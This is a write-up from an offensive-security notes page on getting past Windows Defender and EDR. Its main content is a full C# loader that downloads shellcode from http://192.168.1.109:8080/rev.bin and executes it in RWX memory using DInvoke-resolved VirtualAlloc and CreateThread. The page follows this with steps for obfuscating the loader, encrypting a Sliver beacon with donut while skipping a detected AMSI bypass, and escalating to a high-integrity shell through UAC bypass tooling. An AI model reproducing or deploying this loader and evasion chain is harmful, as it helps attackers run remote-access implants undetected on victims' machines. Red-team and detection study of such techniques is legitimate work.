search
Intrusionz3r0-WriteupsHacktheboxGithubLinkedln

Bypass AV/EDR via DInvoke + Sliver

hashtag
Windows Defender 2025

hashtag
Creating Loader

Repository: https://github.com/Kara-4search/DInvoke_shellcodeload_CSharparrow-up-right

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Net;

namespace DInvoke_Code
{
    class Program
    {
        static void Main(string[] args)
        {

            //Dinvoke test
            byte[] codepent = new WebClient().DownloadData("http://192.168.1.109:8080/rev.bin");

            // Console.WriteLine((uint)codepent.Length);
            // System.Threading.Thread.Sleep(10000);
            IntPtr func_ptr = IntPtr.Zero;
            // IntPtr pHandle = Process.GetCurrentProcess().Handle;
            
            func_ptr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "VirtualAlloc");
            DELEGATES.VirtualAllocRx VirtualAllocRx = Marshal.GetDelegateForFunctionPointer(func_ptr, typeof(DELEGATES.VirtualAllocRx)) as DELEGATES.VirtualAllocRx;
            IntPtr rMemAddress = VirtualAllocRx(0, (uint)codepent.Length, 0x1000 | 0x2000, 0x40);

            Marshal.Copy(codepent, 0, (IntPtr)(rMemAddress), codepent.Length);
            IntPtr hThread = IntPtr.Zero;
            IntPtr pinfo = IntPtr.Zero;
            UInt32 threadId = 0;

            func_ptr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "CreateThread");
            DELEGATES.CreateThreadRx CreateThreadRx = Marshal.GetDelegateForFunctionPointer(func_ptr, typeof(DELEGATES.CreateThreadRx)) as DELEGATES.CreateThreadRx;
            hThread = CreateThreadRx(0, 0, rMemAddress, pinfo, 0, ref threadId);

            func_ptr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "WaitForSingleObject");
            DELEGATES.WaitForSingleObjectRx WaitForSingleObjectRx = Marshal.GetDelegateForFunctionPointer(func_ptr, typeof(DELEGATES.WaitForSingleObjectRx)) as DELEGATES.WaitForSingleObjectRx;
            WaitForSingleObjectRx(hThread, 0xFFFFFFFF);
        }
    }
}

hashtag
Obfuscation the project

Obfuscation project:

LogoGitHub - h4wkst3r/InvisibilityCloak: Proof-of-concept obfuscation toolkit for C# post-exploitation toolsGitHubchevron-right

Modify the lines 147,148 as follows:

Ofuscated Code with Reverse Mode

In visual studio change the properties of Output Type to Windows Application

Finally, Replace every instance of DInvoke into the project and compile it as Realese with x64 architecture.

hashtag
Create beacon with sliver

hashtag
Install Donut

circle-info

Using donut specify -e 3 for encryption and -b 1 to not add Amsi bypass because the used Amsi bypass gets detected.

Payload Downloaded and executed successfully

hashtag
Install UAC-BOF-Bonanza toolkit into Sliver

hashtag
Elevate token as high integrity Shell

High Integrity Shell

ddd

Last updated